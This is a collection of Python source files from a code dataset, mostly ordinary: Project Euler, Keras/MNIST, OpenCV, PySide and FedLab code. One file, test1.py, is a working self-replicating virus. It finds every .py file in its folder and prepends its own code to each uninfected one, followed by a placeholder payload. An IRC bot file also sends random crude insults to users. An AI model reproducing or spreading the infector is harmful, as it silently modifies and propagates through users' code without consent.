Lfk5y4F7KZa9oRxpazETwjQnHszEPvqPvu\n# Bitcoin (BTC) - 34L8qWiQyKr8k4TnHDacfjbaSqQASbBtTd\n\n# contact :- github@jamessawyer.co.uk\n\n\n\n\"\"\"\nProblem Statement:\nThe sum of the primes below 10 is 2 + 3 + 5 + 7 = 17.\n\nFind the sum of all the primes below two million.\n\"\"\"\nfrom math import sqrt\n\n\ndef is_prime(n):\n for i in range(2, int(sqrt(n)) + 1):\n if n % i == 0:\n return False\n\n return True\n\n\ndef sum_of_primes(n):\n if n > 2:\n sumOfPrimes = 2\n else:\n return 0\n\n for i in range(3, n, 2):\n if is_prime(i):\n sumOfPrimes += i\n\n return sumOfPrimes\n\n\ndef solution(n):\n \"\"\"Returns the sum of all the primes below n.\n\n # The code below has been commented due to slow execution affecting Travis.\n # >>> solution(2000000)\n # 142913828922\n >>> solution(1000)\n 76127\n >>> solution(5000)\n 1548136\n >>> solution(10000)\n 5736396\n >>> solution(7)\n 10\n \"\"\"\n return sum_of_primes(n)\n\n\nif __name__ == \"__main__\":\n print(solution(int(input().strip())))\n","sub_path":"project_euler/problem_10/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"18617461","text":"class Number:\n def __init__(self, num): # dunder method\n self.num = num # dunder method\n \n def __add__(self, num2):\n print(\"let's add\")\n return self.num + num2.num\n\n def __mul__(self, num2):\n print(\"let's multiply\")\n return self.num * num2.num\n\n\nn1 = Number(4) # n1 is the number object, it is not an integer\nn2 = Number(6) # n2 is the number object, it is not an integer\nsum = n1 + n2 # this line always going to call add-method, due to operator overloading \nmul = n1 * n2 # this line always going to call mul-method, due to operator overloading \nprint(sum)\nprint(mul)","sub_path":"ch11_inheritance.py/ch11_8_operator_overloading.py","file_name":"ch11_8_operator_overloading.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"34860813","text":"# 系统库\nimport sys\nfrom PySide2 import QtWidgets\n# 项目库\nfrom tools.log_tool import log_tool\nfrom tools.config_tool import config_tool\nfrom function.quickKey import Quick_key\nfrom function.picture import Picture\nfrom function.check_excel import Check_excel\nfrom function.translate import Translate\nfrom function.setting import Setting\n\n\n# MainWidget继承于QtGui.QWidget类\nclass MainWidget(QtWidgets.QMainWindow): \n\n # 需要调用两个构造方法\n def __init__(self):\n log_tool.log(\"开始初始软件\")\n # 为被继承的父类即QtGui.QWidget类调用一次\n super(MainWidget, self).__init__()\n\n # 主界面设置\n self.cfg = config_tool.cfg_map[\"main_windows\"]\n cfg = self.cfg\n self.setWindowTitle(cfg[\"windows_name\"])\n self.resize(cfg[\"windows_height\"], cfg[\"windows_width\"])\n\n # 初始化各个功能类\n # 快捷键\n self.quickKey = Quick_key(self)\n # 图片处理\n self.picture = Picture(self)\n # 处理excel\n self.check_excel = Check_excel(self)\n # 翻译\n self.translate = Translate(self)\n # 菜单栏\n # 设置\n self.setting = Setting(self)\n\n\n # 初始化界面部件\n # 设置菜单栏\n # mainWindows自带有菜单栏,不需要再new\n # self.menuBar_menu = QtWidgets.QMenuBar(self)\n # self.menuBar_menu.setGeometry(0,0,self.width(),23)\n # 设置菜单键\n # 设置动作\n action_config = QtWidgets.QAction(\"模块配置\", self)\n action_config.setShortcut(\"Ctrl+O\")\n # 设置菜单选项\n menu_setting = QtWidgets.QMenu(\"设置(&E)\")\n menu_setting.addAction(action_config)\n # 不需要快捷键的动作,做个对比,会返回这个动作的引用\n menu_setting.addAction(\"无作用\")\n # 添加设置到菜单栏\n self.menuBar().addMenu(menu_setting)\n\n # 按钮类\n self.button_quickKey = QtWidgets.QPushButton(self)\n self.button_quickKey.setText(\"快捷键\")\n self.button_picture = QtWidgets.QPushButton(self)\n self.button_picture.setText(\"图片\")\n self.button_check_excel = QtWidgets.QPushButton(self)\n self.button_check_excel.setText(\"检查excel\")\n self.button_translate = QtWidgets.QPushButton(self)\n self.button_translate.setText(\"翻译\")\n\n # 布局管理器\n self.layout = QtWidgets.QGridLayout(self)\n self.layout.addWidget(self.button_quickKey, 0, 0, 1, 1)\n self.layout.addWidget(self.button_picture, 0, 1, 1, 1)\n self.layout.addWidget(self.button_check_excel, 1, 0, 1, 1)\n self.layout.addWidget(self.button_translate, 1, 1, 1, 1)\n # 下面几句话是重点,mainWindows本身就有一个centralWidget,布局需要在他上面,否者会全部挤在一起, 布局实效\n a = QtWidgets.QWidget(self)\n self.setCentralWidget(a)\n self.centralWidget().setLayout(self.layout)\n\n # 设置连接信号\n # 按钮的信号\n self.button_quickKey.clicked.connect(self.click_quickKey)\n self.button_picture.clicked.connect(self.click_picture)\n self.button_check_excel.clicked.connect(self.click_check_excel)\n self.button_translate.clicked.connect(self.click_translate)\n # 菜单栏的信号\n action_config.triggered.connect(self.click_setting)\n\n\n self.show()\n log_tool.log(\"初始化软件完毕\")\n\n # 按钮的点击信号处理\n # 快捷键的点击\n def click_quickKey(self):\n self.quickKey.update()\n self.quickKey.show()\n\n # 图片处理的点击\n def click_picture(self):\n self.picture.show()\n\n # 处理excel的点击\n def click_check_excel(self):\n self.check_excel.show()\n \n # 处��excel的点击\n def click_translate(self):\n self.translate.show()\n\n # 菜单栏的点击信号处理\n # 快捷键的点击\n def click_setting(self):\n self.setting.show()\n\n\n \n ","sub_path":"mainWidget.py","file_name":"mainWidget.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"304919630","text":"# Copyright 2021 Peng Cheng Laboratory (http://www.szpclab.com/) and FedLab Authors (smilelab.group)\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport torch\nimport json\nimport pynvml\nimport numpy as np\nimport pickle\n\n\nclass AverageMeter(object):\n \"\"\"Record train infomation\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0.0\n self.avg = 0.0\n self.sum = 0.0\n self.count = 0.0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val\n self.count += n\n self.avg = self.sum / self.count\n\n\ndef evaluate(model, criterion, test_loader):\n \"\"\"Evaluate classify task model accuracy.\"\"\"\n model.eval()\n gpu = next(model.parameters()).device\n\n loss_ = AverageMeter()\n acc_ = AverageMeter()\n with torch.no_grad():\n for inputs, labels in test_loader:\n\n inputs = inputs.to(gpu)\n labels = labels.to(gpu)\n\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n\n _, predicted = torch.max(outputs, 1)\n loss_.update(loss.item())\n acc_.update(torch.sum(predicted.eq(labels)).item(), len(labels))\n\n return loss_.sum, acc_.avg\n\n\ndef read_config_from_json(json_file: str, user_name: str):\n \"\"\"Read config from `json_file` to get config for `user_name`\n\n Args:\n json_file (str): path for json_file\n user_name (str): read config for this user, it can be 'server' or 'client_id'\n\n Returns:\n a tuple with ip, port, world_size, rank about user with `user_name`\n\n Examples:\n read_config_from_json('../../../tests/data/config.json', 'server')\n\n Notes:\n config.json example as follows\n {\n \"server\": {\n \"ip\" : \"127.0.0.1\",\n \"port\": \"3002\",\n \"world_size\": 3,\n \"rank\": 0\n },\n \"client_0\": {\n \"ip\": \"127.0.0.1\",\n \"port\": \"3002\",\n \"world_size\": 3,\n \"rank\": 1\n },\n \"client_1\": {\n \"ip\": \"127.0.0.1\",\n \"port\": \"3002\",\n \"world_size\": 3,\n \"rank\": 2\n }\n }\n \"\"\"\n with open(json_file) as f:\n config = json.load(f)\n config_info = config[user_name]\n return (config_info[\"ip\"], config_info[\"port\"], config_info[\"world_size\"],\n config_info[\"rank\"])\n\n\ndef get_best_gpu():\n \"\"\"Return gpu (:class:`torch.device`) with largest free memory.\"\"\"\n pynvml.nvmlInit()\n deviceCount = pynvml.nvmlDeviceGetCount()\n deviceMemory = []\n for i in range(deviceCount):\n handle = pynvml.nvmlDeviceGetHandleByIndex(i)\n mem_info = pynvml.nvmlDeviceGetMemoryInfo(handle)\n deviceMemory.append(mem_info.free)\n deviceMemory = np.array(deviceMemory, dtype=np.int64)\n best_device_index = np.argmax(deviceMemory)\n return torch.device(\"cuda:%d\" % (best_device_index))\n\n\ndef save_dict(dict, path):\n with open(path, 'wb') as f:\n pickle.dump(dict, f)\n\n\ndef load_dict(path):\n with open(path, 'rb') as f:\n return pickle.load(f)","sub_path":"fedlab/utils/functional.py","file_name":"functional.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"168142823","text":"import random\nimport time\nimport nltk\nfrom threading import Thread\n\ndef ayy_lmao(irc):\n time.sleep(5)\n irc.message(\"...\")\n time.sleep(3)\n irc.message(\"ayy lmao\")\n\ndef get_modules(handler):\n ret = \"No modules loaded\"\n if handler.importlist:\n modules = [key for key in handler.importlist]\n ret = ', '.join(modules)\n return ret\n\ndef adj_rudeness(data, irc):\n tags = nltk.pos_tag(data)\n adjs = []\n for t in tags:\n if t[1] == \"JJ\":\n adjs.append(t[0])\n if len(adjs) > 0:\n a = [\"cunt\", \"bitch\", \"friend\", \"ally\", \"comrade\", \"nob\", \"dick\", \"twat\", \"m8\"]\n b = [\"mum\", \"dad\", \"nan\", \"sister\"]\n irc.message(\"I tell you what else is \"+random.choice(adjs)+\", \"+random.choice(a)+\". Your \"+ random.choice(b) +\".\")\n\ndef main(irc, nick, data, handler):\n if data[0][:-1] == \"Gouda\" and len(data) > 1:\n # message is addressed to the bot\n if data[1] == \"commands\":\n irc.message(\"You can't command me, I'm a free spirit!\")\n\n if data[1] == \"modules\":\n irc.message(\"Modules currently loaded are: \" + get_modules(handler))\n\n if any(\"like\" in w for w in data):\n if random.randint(0, 9) == 5:\n irc.message(\"1 like = 1 prayer x\")\n\n if any(\"ayy\" in w for w in data) and any(\"lmao\" in w for w in data):\n if random.randint(0, 8) == 1:\n ayy = Thread(target=ayy_lmao, args=(irc,))\n ayy.start()\n\n if data[0] == \"lol\":\n if random.randint(0, 20) == 4:\n irc.message(\"lol\")\n\n if len(data) > 1 and random.randint(0,50) == 11:\n adj_rudeness(data, irc)\n","sub_path":"modules/core/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"485974255","text":"from ctypes import c_int32\nclass Solution:\n def getSum(self, a, b):\n \"\"\"\n :type a: int\n :type b: int\n :rtype: int\n \"\"\"\n while b:\n a = c_int32(a).value #needed because python doesn't use 32 bit int like c\n b = c_int32(b).value\n a,b = a^b,a&b\n b = b<<1\n return a \n\nprint(Solution().getSum(5,3))","sub_path":"371. Sum of Two Integers.py","file_name":"371. Sum of Two Integers.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"399368512","text":"import timeit\r\nimport numpy as np \r\nimport cv2 \r\nimport threading\r\nimport time\r\n\r\ndef getTemplate():\r\n template = cv2.imread('images/temp3.png',0)\r\n return template\r\n\r\ndef getTemplateDims():\r\n template=getTemplate()\r\n w,h = template.shape[::-1]\r\n return w,h\r\n\r\ndef getSourceVideo():\r\n #cap = cv2.VideoCapture(1)\r\n cap = cv2.VideoCapture('videos/mvk.avi')\r\n return cap\r\n\r\ndef getThreshold():\r\n threshold = 0.8715\r\n return threshold\r\n\r\ndef resizeFrame(img):\r\n scale_percent = 30 # percent of original size\r\n width = int(img.shape[1] * scale_percent / 100)\r\n height = int(img.shape[0] * scale_percent / 100)\r\n dim = (width, height) \r\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\r\n return resized\r\n\r\n\r\n\r\ndef detectHeadlights(res,frame,img_bw1,pt):\r\n \r\n threshold = getThreshold()\r\n print(threshold,res)\r\n \r\n w,h = getTemplateDims() \r\n\r\n img = resizeFrame(img_bw1)\r\n \r\n #avg color intensity of each row\r\n avg_color_per_row = np.average(img, axis=0)\r\n #avg color intensity of each frame\r\n avg_color = np.average(avg_color_per_row, axis=0)\r\n\r\n\r\n\r\n det=0\r\n \r\n if(avg_color< 0.19):\r\n print(\"high beam\",avg_color)\r\n\r\n if np.any(res >=threshold):\r\n \r\n det=1;\r\n \r\n cv2.rectangle(frame, pt, (pt[0] + w, pt[1] + h), (0,205,255), 1)\r\n cv2.rectangle(img_bw1, pt, (pt[0] + w, pt[1] + h), (0,205,255), 1)\r\n return det\r\n \r\n elif np.any(res < threshold):\r\n det=0 \r\n return det\r\n \r\n\r\n else:\r\n print(\"low beam\",avg_color)\r\n return 0 \r\n #print(np.array(res))\r\n\r\n \r\n \r\n\r\n\r\ncap = getSourceVideo()\r\ntemplate=getTemplate()\r\nwhile(getSourceVideo().isOpened()):\r\n \r\n ret, frame = cap.read()\r\n\r\n img =cv2.GaussianBlur(frame,(15,15), 0) \r\n \r\n img_bw = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n \r\n img_bw2 = 255*(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) > 230).astype('uint8')\r\n \r\n ret3,img_bw1 = cv2.threshold(img_bw2,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)\r\n \r\n res = cv2.matchTemplate(img_bw1,template,cv2.TM_CCOEFF_NORMED)\r\n\r\n threshold = getThreshold()\r\n \r\n loc = np.where(res >= .92*threshold)\r\n \r\n for pt in zip(*loc[::-1]):\r\n \r\n if detectHeadlights(res,frame,img_bw1,pt)==1:\r\n \r\n print(\"dim\");\r\n\r\n elif detectHeadlights(res,frame,img_bw1,pt)==0:\r\n \r\n print(\"bright\");\r\n \r\n #To Display Thresholded video \r\n cv2.imshow('Detected1',img_bw1)\r\n k = cv2.waitKey(10) & 0xff\r\n # ASCII 27 IS ESC key \r\n if k==27 :\r\n break\r\n #To Display detected frame \r\n cv2.imshow('Detected',frame)\r\n k = cv2.waitKey(10) & 0xff\r\n # ASCII 27 IS ESC key\r\n if k==27 :\r\n break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\n","sub_path":"prjt.py","file_name":"prjt.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"164310865","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 23 16:33:31 2016\n\n@author: park\n\"\"\"\n\n\ndef main():\n\n\tprint(30 * '-')\n\tprint(\" M A I N - M E N U\")\n\tprint(30 * '-')\n\tprint(\"1. Exercise 1\")\n\tprint(\"2. Exercise 2\")\n\tprint(\"3. Ans 1\")\n\tprint(\"4. Ans 2\")\n\tprint(\"5. EXIT\")\n\tprint (30 * '-')\n\n\tloop=1\n\twhile loop==1:\n\t\t## Get input ###\n\t\tchoice=input('Enter your choice [1-5] : ')\n\t\t### Convert string to int type ##\n\t\tchoice=int(choice)\n\n\t\tif choice==1:\n\t\t\tdef q1(n):\n\t\t\t\tsuccess=0\n\t\t\t\tfor i in range(n):\n\t\t\t\t\ta=np.random.randint(100)/100\n\t\t\t\t\tb=np.random.randint(100-a*100)/100\n\t\t\t\t\tc=1-a-b\n\t\t\t\t\tif a+b>c and a+c>b and b+c>a:\n\t\t\t\t\t\tsuccess=success+1\n\t\t\t\treturn success/n\n\t\t\tq1(100000)\n\t\t\tprint('')\n\n\t\telif choice==2:\n\n\t\t\tdef q2(number):\n\t\t\t\timport numpy as np\n\t\t\t\troot2=np.sqrt(2)\n\t\t\t\troot5=np.sqrt(5)\n\t\t\t\troot8=np.sqrt(8)\n\t\t\t\troot10=np.sqrt(10)\n\t\t\t\troot13=np.sqrt(13)\n\t\t\t\trow1=[0,1,2,1,root2,root5,2,root5,root8,root10]\n\t\t\t\trow2=[1,0,1,root2,1,root2,root5,2,root5,3]\n\t\t\t\trow3=[2,1,0,root5,root2,1,root8,root5,2,root10]\n\t\t\t\trow4=[1,root2,root5,0,1,2,1,root2,root5,root5]\n\t\t\t\trow5=[root2,1,root2,1,0,1,root2,1,root2,2]\n\t\t\t\trow6=[root5,root2,1,2,1,0,root5,root2,1,root5]\n\t\t\t\trow7=[2,root5,root8,1,root2,root5,0,1,2,root2]\n\t\t\t\trow8=[root5,2,root5,root2,1,root2,1,0,1,1]\n\t\t\t\trow9=[root8,root5,2,root5,root2,1,2,1,0,root2]\n\t\t\t\trow10=[root10,3,root10,root5,2,root5,root2,1,root2,0]\n\t\t\t\ttime_matrix=np.array([row1,row2,row3,row4,row5,\n\t\t\t\t row6,row7,row8,row9,row10])\n\n\t\t\t\tsplitted=number.split('-')\n\t\t\t\tsave=[]\n\t\t\t\tfor i in range(len(splitted)):\n\t\t\t\t\tfor j in range(len(splitted[i])):\n\t\t\t\t\t\tsave.append(int(splitted[i][j]))\n\t\t\t\t#or\n\n\t\t\t\tsave=[]\n\t\t\t\tfor num in number:\n\t\t\t\t\tif num!='-':\n\t\t\t\t\t\tsave.append(int(num))\n\n\t\t\t\tnode=[1,2,3,4,5,6,7,8,9,0]\n\t\t\t\tnode_dict={node[i]:i for i in range(len(node))}\n\t\t\t\tcal=0\n\t\t\t\tfor i in range(len(save)-1):\n\t\t\t\t\tcal+=time_matrix[node_dict[save[i]],node_dict[save[i+1]]]\n\t\t\t\treturn cal\n\t\t\tnumber=input(\"Enter any number\\n\" )\n\t\t\tprint('your number is:',number)\n\t\t\tprint('distance = %0.6f' %q2(number))\n\n\n\t\telif choice==3:\n\n\t\t\tdef q1_ans():\n\t\t\t\tN=100000\n\t\t\t\tcount=0\n\t\t\t\tfor i in range(N):\n\t\t\t\t\tx=random.random()\n\t\t\t\t\ty=random.random()\n\t\t\t\t\tif x>y:\n\t\t\t\t\t\ttemp=x\n\t\t\t\t\t\tx=y\n\t\t\t\t\t\ty=temp\n\t\t\t\t\tlength=[x,1-y,y-x]\n\t\t\t\t\tif max(length)<0.5:\n\t\t\t\t\t\tcount+=1\n\t\t\t\tprob=count/N\n\t\t\t\tprint(prob)\n\t\t\tq1_ans()\n\t\t\tprint('')\n\n\n\t\telif choice==4:\n\n\t\t\tdef q2_ans(number):\n\t\t\t\tcoordinate={1:(0,0),2:(0,1),3:(0,2),\n\t\t\t\t 4:(1,0),5:(1,1),6:(1,2),\n\t\t\t\t 7:(2,0),8:(2,1),9:(3,2),\n\t\t\t\t 0:(4,1)}\n\t\t\t\td={0:(3,1)}\n\t\t\t\tc=0\n\t\t\t\tfor i in range(3):\n\t\t\t\t\tfor j in range(3):\n\t\t\t\t\t\tc+=1\n\t\t\t\t\t\td[c]=(i,j)\n\t\t\t\tnew_number=number.replace('-','')\n\t\t\t\tint_number=[int(x) for x in new_number]\n\n\t\t\t\tsum=0\n\t\t\t\tfor i in range(len(int_number)-1):\n\t\t\t\t\tstart=int_number[i]\n\t\t\t\t\tend=int_number[i+1]\n\t\t\t\t\tsum+=pythagoras(d[start],d[end])\n\n\t\t\t\t#or\n\t\t\t\tsum=0\n\t\t\t\tfor start,end in zip(int_number[:-1],int_number[1:]):\n\t\t\t\t\tsum+=pythagoras(d[start],d[end])\n\t\t\t\treturn sum\n\n\n\t\t\tdef pythagoras(tup1,tup2):\n\t\t\t\tif tup1[0]==tup2[0]:\n\t\t\t\t\treturn np.abs(tup1[1]-tup2[1])\n\t\t\t\tif tup1[1]==tup2[1]:\n\t\t\t\t\treturn np.abs(tup1[0]-tup2[0])\n\t\t\t\telse:\n\t\t\t\t\treturn np.sqrt((tup1[0]-tup2[0])**2+(tup1[1]-tup2[1])**2)\n\n\t\t\tnumber=input(\"Enter any number\\n\" )\n\t\t\tprint('your number is:',number)\n\t\t\tprint('distance = %0.6f' %q2_ans(number))\n\n\n\t\telif choice==5:\n\t\t\tloop=0\n\n\n\n\t\telif choice not in [1,2,3,4,5]:\n\t\t\tprint('please insert 1,2,3,4,5')\n\t\t\tprint('')\n\n\nmain()","sub_path":"Programming/Python/lecture 2.py","file_name":"lecture 2.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"579939575","text":"## Flag Start ##\n\n#code will be injected into other files, will be replicated\n\nimport glob\nimport sys\n\ncode = [] # the code of the current file - list that is empty\n\n#opening the file name that the current code/script has in reading mode\nwith open(sys.argv[0], 'r') as File:\n lines = File.readlines()\n\n#Virus Code Area\n\nvirus_area_check = False\n\nfor line in lines:\n #checks if we are in the virus area\n if line == '## Flag Start ##\\n':\n virus_area_check = True\n if virus_area_check:\n #if we are in the virus area we append the current line\n code.append(line)\n if line == '## Flag End ##\\n':\n #we are not in the virus area anymore. Stops when we reach the end\n break\n\n#the code that will infect python files/scripts\n\n#using glob which basically finds all the files with .py extension in the current folder\npython_files = glob.glob('*.py')\n\nfor script in python_files:\n with open(script, 'r') as File:\n code_of_script = File.readlines()\n\n is_infected = False\n\n for line in code_of_script:\n if line == '## Flag Start ##\\n':\n is_infected = True\n break\n\n if not is_infected:\n appended_code = []\n\n # using extend method which modifies the original file\n appended_code.extend(code)\n \n # adding new line so it cannot add the script/payload on a single line\n appended_code.extend('\\n')\n\n # keeping the functionality so the infected script can replicate itself to others\n appended_code.extend(code_of_script)\n\n with open(script, 'w') as File:\n File.writelines(appended_code)\n \n# Payload Start #\nprint(1+1)\nprint(\"This is a payload\")\n\n## Flag End ##\npedal = 1\ngei = 2\nprint(pedal + gei)","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"484505060","text":"from __future__ import print_function\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\nimport time\n\nstart = time.time()\n\nbatch_size = 128 # 128 images trained at a time\nnum_classes = 10 # 0 to 9 = 10 classes\nepochs = 12\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n\n# the data, split between train and test sets\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n# .shape(rows,columns) returns the dimensions of the array\n# x_train.shape returns 3x3 array: (60000, 28, 28)\n# reshape the array from a 3x3 array to a 4x4 array so that it can work with the Keras API\nif K.image_data_format() == 'channels_first': # used in Theano\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols) # 1x28x28; \n # color channels = 1 (grayscale)\nelse: # 'channels last' used in Tensorflow\n x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1) # 28x28x1 = 784\n\n# contains greyscale RGB code (0-255)\n# convert to float to get decimal points after division\nx_train = x_train.astype('float32') \nx_test = x_test.astype('float32')\n# Normalizes the RGB codes by dividing to the max RGB value\nx_train /= 255 \nx_test /= 255\n# makes each pixel within [0,1] instead of [0, 255]\n\n# x_test.shape = (10000, 28, 28)\nprint('x_train shape:', x_train.shape) # (60000, 28, 28, 1)\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\n# convert class vectors to binary class matrices\n# contains labels from 0 to 9\n# one hot encodes target values (outputs one 1, rest 0)\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n# y_train[0] = [0., 0., 0., 0., 0., 1., 0., 0., 0., 0.] for #5\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), # 32 filters, kernel = size of filter,\n activation='relu', # rectified linear unit\n # f(x) = max(0,x), sets neg vals to 0, constant input x \n input_shape=input_shape)) # input shape for first layer\nmodel.add(Conv2D(32, (5, 5), activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(3, 3))) # downsamples the input\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(Conv2D(64, (5, 5), activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(3, 3))) # downsamples the input\nmodel.add(Dropout(0.4)) # randomly disables 40% of neurons (reduces overfitting)\nmodel.add(Flatten()) # flattens the 2D arrays for fully connected layers\nmodel.add(Dense(128, activation='relu')) # 128 = hidden neuron units\nmodel.add(Dropout(0.4))\nmodel.add(Dense(num_classes, activation='softmax')) # num_classes = 10, units in output layer\n# outputs max probability\n\nmodel.compile(loss=keras.losses.categorical_crossentropy, # for multi-classification (>2, binary = 2)\n optimizer=keras.optimizers.Nadam(), # learning rate = 1, rho = 0.95\n metrics=['accuracy'])\n\nmodel.fit(x_train, y_train, # trains the model\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test))\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])\n\nprint('Execution time:', time.time()-start, 'seconds.')\n","sub_path":"Digit_Classifier.py","file_name":"Digit_Classifier.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"317515452","text":"#!/usr/bin/env python\nstrings=['hey','guys','i','am','a','string']\n\nparameter_list=[[strings]]\n\ndef features_string_char (strings):\n\tfrom shogun import StringCharFeatures, RAWBYTE\n\tfrom numpy import array\n\n\t#create string features\n\tf=StringCharFeatures(strings, RAWBYTE)\n\n\t#and output several stats\n\t#print(\"max string length\", f.get_max_vector_length())\n\t#print(\"number of strings\", f.get_num_vectors())\n\t#print(\"length of first string\", f.get_vector_length(0))\n\t#print(\"string[5]\", ''.join(f.get_feature_vector(5)))\n\t#print(\"strings\", f.get_features())\n\n\t#replace string 0\n\tf.set_feature_vector(array(['t','e','s','t']), 0)\n\n\t#print(\"strings\", f.get_features())\n\treturn f.get_string_list(), f\n\nif __name__=='__main__':\n\tprint('StringCharFeatures')\n\tfeatures_string_char(*parameter_list[0])\n","sub_path":"examples/undocumented/python/features_string_char.py","file_name":"features_string_char.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"520041474","text":"from __future__ import print_function, division\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import range\nfrom builtins import object\nimport os\nimport pickle as pickle\n\nimport json\nimport logging\n\nimport numpy as np\nimport tensorflow as tf\n\n#from keras import optimizers\nfrom tensorflow.python.keras import backend as K\nfrom tensorflow.python.keras import optimizers\n\n\n\n\nclass Solver(object):\n\n\n def __init__(self, model, data_train,data_val, **kwargs):\n\n\n self.model = model\n self.data_train = data_train\n self.data_val = data_val\n self.num_all_train_examples = kwargs.pop('num_train_examples')\n self.num_all_val_examples = kwargs.pop('num_val_examples')\n\n # Unpack keyword arguments\n #self.update_rule = kwargs.pop('update_rule', 'sgd')\n self.batch_size = kwargs.pop('batch_size', 10)\n self.num_epochs = kwargs.pop('num_epochs', 2)\n\n self._loss = kwargs.pop('loss', None)\n self._optimizer = kwargs.pop('optimizer', 'adam')\n self._optim_config = kwargs.pop('optimizer_config', {})\n\n '''\n self.epsilon = kwargs.pop('epsilon', 0.000000001)\n self.learning_rate = kwargs.pop('learning_rate', 1e-5)\n self.lr_decay = kwargs.pop('lr_decay', 1.0)\n self.adam_eps =kwargs.pop('adam_eps', 0.00001)\n self.threads = kwargs.pop('threads', 4)\n self.learning_rate_step = kwargs.pop('learning_rate_step', null)\n self.max_steps = kwargs.pop('max_steps', 12000)\n '''\n\n\n self._metrics = kwargs.pop('metrics', ['dice_loss'])\n self.metrics_list = {\n 'dice_loss': self.dice_loss\n ,'f1': self.F1\n ,'recall': self.recall\n ,'precision': self.precision\n }\n\n self._save_model_path = kwargs.pop('save_model_path', None)\n #self.checkpoint_name = kwargs.pop('checkpoint_name', None)\n #self.print_every = kwargs.pop('print_every', 10)\n self.verbose = kwargs.pop('verbose', True)\n\n # Throw an error if there are extra keyword arguments\n '''\n if len(kwargs) > 0:\n extra = ', '.join('\"%s\"' % k for k in list(kwargs.keys()))\n raise ValueError('Unrecognized arguments %s' % extra)\n '''\n\n\n\n\n @property\n def optimizer(self):\n if self._optimizer == 'rms':\n if not self._optim_config:\n self._optim_config = {\n 'lr': 1e-5,\n 'decay': 0.9,\n 'rho': 0.9,\n 'epsilon': 1e-10\n }\n self._optimizer = optimizers.RMSprop(**self._optim_config)\n #self._optimizer = tf.train.RMSPropOptimizer(self._optim_config)\n elif self._optimizer == 'adam':\n if not self._optim_config:\n self._optim_config = {\n 'lr': 1e-5,\n 'beta_1': 0.9,\n 'beta_2': 0.999,\n 'epsilon': 1e-08,\n 'decay' : 0.0,\n 'amsgrad' : False\n }\n self._optimizer = optimizers.Adam(**self._optim_config)\n #self._optimizer = tf.train.AdamOptimizer(self._optim_config)\n elif self._optimizer == 'sgd':\n if not self._optim_config:\n self._optim_config = {\n 'lr': 1e-5,\n 'momentum': 0.0,\n 'decay': 0.8,\n 'nesterov': False\n }\n self._optimizer = optimizers.SGD(**self._optim_config)\n #self._optimizer = tf.train.GradientDescentOptimizer(self._optim_config)\n\n elif type(self._optimizer) not in [optimizers.Adam, optimizers.SGD, optimizers.RMSprop]:\n logging.error('Unrecognized optimizer type')\n\n return 